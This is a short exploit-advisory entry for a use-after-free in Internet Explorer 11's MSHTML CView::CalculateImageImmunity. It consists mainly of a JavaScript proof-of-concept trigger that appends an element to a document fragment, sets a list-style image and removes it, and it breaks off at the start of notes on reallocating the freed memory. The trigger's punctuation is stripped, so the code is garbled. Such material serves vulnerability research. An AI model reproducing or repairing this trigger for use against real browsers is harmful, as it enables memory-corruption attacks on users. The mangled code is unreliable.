Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks to see if there was an easy way to reallocate the...